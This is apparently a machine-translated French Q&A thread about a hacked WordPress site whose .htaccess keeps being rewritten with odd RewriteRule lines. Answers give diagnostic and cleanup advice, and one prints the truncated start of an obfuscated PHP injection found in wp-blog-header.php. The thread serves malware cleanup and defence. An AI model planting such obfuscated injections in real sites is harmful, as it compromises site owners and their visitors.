web-dev-qa-db-fra.com

Le site WordPress piraté. Est-ce que .htaccess a été piraté?

J'essaie de nettoyer un site Web WordPress qui a été piraté. J'ai remarqué que le fichier .htaccess contient des expressions régulières suspectes, mais mes compétences en regex sont plutôt faibles (le temps d'apprendre, je suppose). J'ai essayé de remplacer le fichier .htaccess par le WordPress .htaccess par défaut, mais il est réécrit immédiatement et automatiquement. Ce que j'ai besoin de savoir, c'est ce qui se passe avec ce code:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Si le .htaccess a été compromis, avez-vous des suggestions pour le sécuriser?

J'ai fait une nouvelle installation de WordPress, mis à jour/réinstallé tous les plugins, réinitialisé les mots de passe, installé les captchas pour les connexions, déplacé l'installation de WordPress dans un répertoire différent, etc. Le site Web semblait fonctionner correctement pendant quelques jours, mais a été piraté à nouveau. Tellement frustrant!

7
Myles

À propos des sites piratés:

Tout d’abord, soyons clairs sur les problèmes liés au piratage informatique:

Si votre site a été véritablement piraté, effacez complètement tous les fichiers, puis réinstallez le serveur (pas uniquement WordPress) avec de nouveaux mots de passe, mettez à jour tous les fichiers et identifiez et supprimez les anciens trous de boucle ayant provoqué le piratage du site lors du premier Dans ce cas, rien d’autre ne confirmera que le site ne sera plus piraté avec les mêmes trous de boucle.

À propos de la modification .htaccess:

Pour moi, votre modification .htaccess ne ressemble pas au résultat d'un piratage, mais plutôt à une partie de WordPress CODE (provenant d'un plugin ou d'un thème) qui réécrit le fichier .htaccess en raison de la réécriture d'URL.

Découvrez cet exemple de votre .htaccess CODE:

RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]

Cette ligne est en train de transformer une URL qui ressemble à ceci (par exemple):

example.com/something-12-34-something-else.html?query=string

ajoute une chaîne de requête (en interne au index.php principal) qui ressemble à ceci:

?something34=12&query=string

Donc, fondamentalement, je ne vois pas comment un pirate informatique pourrait en tirer quelque chose. C'est encore possible, mais peu probable.

Pour le tester est en effet en train d'être réécrit par WordPress, vous pouvez faire le test suivant:

  1. Allez à wp-admin -> Settings -> Permalinks & click Save Changes bouton.

  2. Réécrivez .htaccess avec le CODE WordPress .htaccess par défaut.

  3. Maintenant, allez à nouveau à wp-admin -> Settings -> Permalinks et cliquez sur Save Changes bouton.

Si votre fichier .htaccess est accessible en écriture pour WordPress (serveur Web) et si ce .htaccess CODE était généré par WordPress, alors, après le processus ci-dessus, votre WordPress .htaccess par défaut sera immédiatement remplacé par celui que vous avez publié.

Que faire ensuite?

Si vous avez correctement identifié les modifications à apporter par WordPress, vous pouvez alors identifier le plug-in ou le thème concerné, en suivant à nouveau la procédure ci-dessus après avoir désactivé chaque plug-in installé, un à la fois.

Une fois que le plugin responsable est désactivé, la procédure ci-dessus ne produira plus cette modification dans le fichier .htaccess. Ensuite, vous saurez quel plug-in le fait, et peut-être aurez-vous une meilleure compréhension de la raison pour laquelle il le fait. par exemple. qu'il s'agisse d'une fonctionnalité ou du résultat d'une activité malveillante.

Si aucun plugin ne le fait, vous pouvez faire de même avec le thème en activant un thème principal WordPress (par exemple, Twenty Seventeen).

Si rien de ce qui précède ne fonctionne, alors je suppose que votre prochaine option consiste à engager un expert et à lui permettre d’examiner votre site.

1
Fayaz

J'ai eu un problème similaire il y a quelques mois: l'un des sites Web de clients a été piraté et j'ai eu du mal à trouver où. Je peux vous suggérer également d'inspecter la base de données pour rechercher le code malveillant. Dans mon cas, j'ai trouvé du code suspect dans:

  • Base de données; FTP - dossier de cache, dossier principal wp et autres dossiers non wp;
  • fichier header.php;
  • .htaccess et aussi wp-config.

Je peux vous suggérer de vérifier manuellement tous ces dossiers, puis d'installer un plug-in pour d'autres vérifications comme Anti-Malware Security et Brute-Force Firewall. J'ai également régénéré la clé wordpress auth. Après un nettoyage en profondeur et quelques astuces de sécurité, telles que la modification des mots de passe pour ftp, wordpress et db, la modification de l'identifiant de l'utilisateur, l'installation d'un plugin de sécurité, le site Web n'a plus été piraté. Je ne sais pas si c'est votre cas, mais j'espère pouvoir vous aider.

J'ai résolu le problème avec le fichier .htaccess en nettoyant le fichier wp-blog-header.php.Le script responsable de la modification du fichier .htaccess se trouve là et ressemble à ceci.

<?php
//header('Content-Type:text/html; charset=utf-8');
$OO0O_0_O0_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0_0O_O0O_='enhearse14625';
$OO0__O00_O=1921;
$O_0OO__00O='E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml';
$O_0OO_0O0_=871;
$O_OO_O00_0=1;
$O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
$OOO0__0O0_='';
$O__0O0_OO0='T2';
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}
?>

il suffit de nettoyer la première partie et la fin "?>" + .htaccess de nettoyage et ça devrait aller.

0
Claudiu Pap